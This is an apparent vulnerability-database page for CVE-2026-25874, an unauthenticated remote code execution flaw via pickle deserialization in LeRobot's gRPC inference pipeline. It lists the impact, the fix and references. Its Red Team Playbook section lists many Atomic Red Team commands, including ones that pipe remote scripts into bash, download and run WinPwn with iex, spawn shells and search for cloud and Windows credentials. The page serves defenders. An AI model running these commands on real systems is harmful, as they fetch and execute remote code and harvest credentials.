CVE-2026-25874
Overview
This vulnerability is an unsafe deserialization flaw rooted in the use of Python's pickle.loads() function to deserialize untrusted data. The flaw exists within the asynchronous inference pipeline of Hugging Face LeRobot versions up to 0.5.1, specifically affecting the policy server and robot client components. Data deserialization occurs over unauthenticated gRPC channels lacking TLS, exposing the deserialization mechanism to crafted input without integrity or origin verification.
Vulnerability Description
LeRobot through 0.5.1 contains an unsafe deserialization vulnerability in the async inference pipeline where pickle.loads() is used to deserialize data received over unauthenticated gRPC channels without TLS in the policy server and robot client components. An unauthenticated network-reachable attacker can achieve arbitrary code execution on the server or client by sending a crafted pickle payload through the SendPolicyInstructions, SendObservations, or GetActions gRPC calls.
Impact
An unauthenticated attacker with network access to the gRPC endpoints can execute arbitrary code on either the policy server or robot client, gaining full control over these systems. No user interaction or credentials are required to exploit this flaw. This can lead to complete system compromise, unauthorized data access, manipulation of robot behavior, and potential lateral movement within the affected environment, severely undermining operational security and data integrity.
Solution
Upgrade Hugging Face LeRobot to a version that includes the fix merged in pull request #3048, which addresses the unsafe deserialization vulnerability. Refer to the official GitHub repository for patch details and updated releases beyond version 0.5.1. Vendor advisories and issue trackers (https://github.com/huggingface/lerobot/pull/3048) provide step-by-step instructions for applying the patch and mitigating the vulnerability by enforcing secure deserialization practices and enabling TLS on gRPC channels.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Huggingface | Lerobot | All |
cpe:2.3:a:huggingface:lerobot:*:*:*:*:*:python:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles or mentions found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-25874 |
| chocapikk.com |
GitHub CVE
exploit
|
https://chocapikk.com/posts/2026/lerobot-pickle-rce/ |
| github.com |
GitHub CVE
issue-tracking
|
https://github.com/huggingface/lerobot/issues/3047 |
| github.com |
GitHub CVE
issue-tracking
patch
|
https://github.com/huggingface/lerobot/pull/3048 |
| github.com |
GitHub CVE
issue-tracking
|
https://github.com/huggingface/lerobot/issues/3134 |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://www.vulncheck.com/advisories/lerobot-unsafe-deserialization-remote-code-execution-via-grpc |